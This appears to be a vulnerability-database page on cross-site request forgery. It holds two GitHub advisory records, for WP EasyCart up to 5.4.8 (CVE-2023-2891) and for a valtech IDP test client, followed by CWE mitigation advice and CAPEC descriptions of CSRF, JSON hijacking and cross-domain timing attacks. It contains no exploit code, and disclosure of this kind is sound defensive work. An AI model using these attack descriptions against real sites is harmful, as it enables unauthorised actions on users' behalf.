Vulnerability from github – Published: 2023-06-09 06:30 – Updated: 2024-04-04 04:42The WP EasyCart plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 5.4.8. This is due to missing or incorrect nonce validation on the process_delete_product function. This makes it possible for unauthenticated attackers to delete products via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
{
"affected": [],
"aliases": [
"CVE-2023-2891"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-09T06:16:12Z",
"severity": "MODERATE"
},
"details": "The WP EasyCart plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 5.4.8. This is due to missing or incorrect nonce validation on the process_delete_product function. This makes it possible for unauthenticated attackers to delete products via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.",
"id": "GHSA-c4xm-fwm7-92hc",
"modified": "2024-04-04T04:42:09Z",
"published": "2023-06-09T06:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2891"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/2917958/wp-easycart"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/bcca7ade-8b35-4ba1-a8b4-b1e815b025e3?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-C526-JRR3-JPFC
Vulnerability from github – Published: 2022-12-31 21:30 – Updated: 2023-01-07 00:30A vulnerability was found in valtech IDP Test Client and classified as problematic. Affected by this issue is some unknown functionality of the file python-flask/main.py. The manipulation leads to cross-site request forgery. The attack may be launched remotely. The name of the patch is f1e7b3d431c8681ec46445557125890c14fa295f. It is recommended to apply a patch to fix this issue. The identifier of this vulnerability is VDB-217148.
{
"affected": [],
"aliases": [
"CVE-2014-125028"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-31T20:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability was found in valtech IDP Test Client and classified as problematic. Affected by this issue is some unknown functionality of the file python-flask/main.py. The manipulation leads to cross-site request forgery. The attack may be launched remotely. The name of the patch is f1e7b3d431c8681ec46445557125890c14fa295f. It is recommended to apply a patch to fix this issue. The identifier of this vulnerability is VDB-217148.",
"id": "GHSA-c526-jrr3-jpfc",
"modified": "2023-01-07T00:30:24Z",
"published": "2022-12-31T21:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-125028"
},
{
"type": "WEB",
"url": "https://github.com/valtech/valtech-idp-test-clients/commit/f1e7b3d431c8681ec46445557125890c14fa295f"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.217148"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.217148"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330]
- Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
Mitigation
Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
Mitigation
Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
Mitigation
Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
Mitigation
- Use the "double-submitted cookie" method as described by Felten and Zeller:
- When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.
- Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.
- This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
Mitigation
Do not use the GET method for any request that triggers a state change.
Mitigation
Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-462: Cross-Domain Search Timing
An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.
CAPEC-467: Cross Site Identification
An attacker harvests identifying information about a victim via an active session that the victim's browser has with a social networking site. A victim may have the social networking site open in one tab or perhaps is simply using the "remember me" feature to keep their session with the social networking site active. An attacker induces a payload to execute in the victim's browser that transparently to the victim initiates a request to the social networking site (e.g., via available social network site APIs) to retrieve identifying information about a victim. While some of this information may be public, the attacker is able to harvest this information in context and may use it for further attacks on the user (e.g., spear phishing).
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.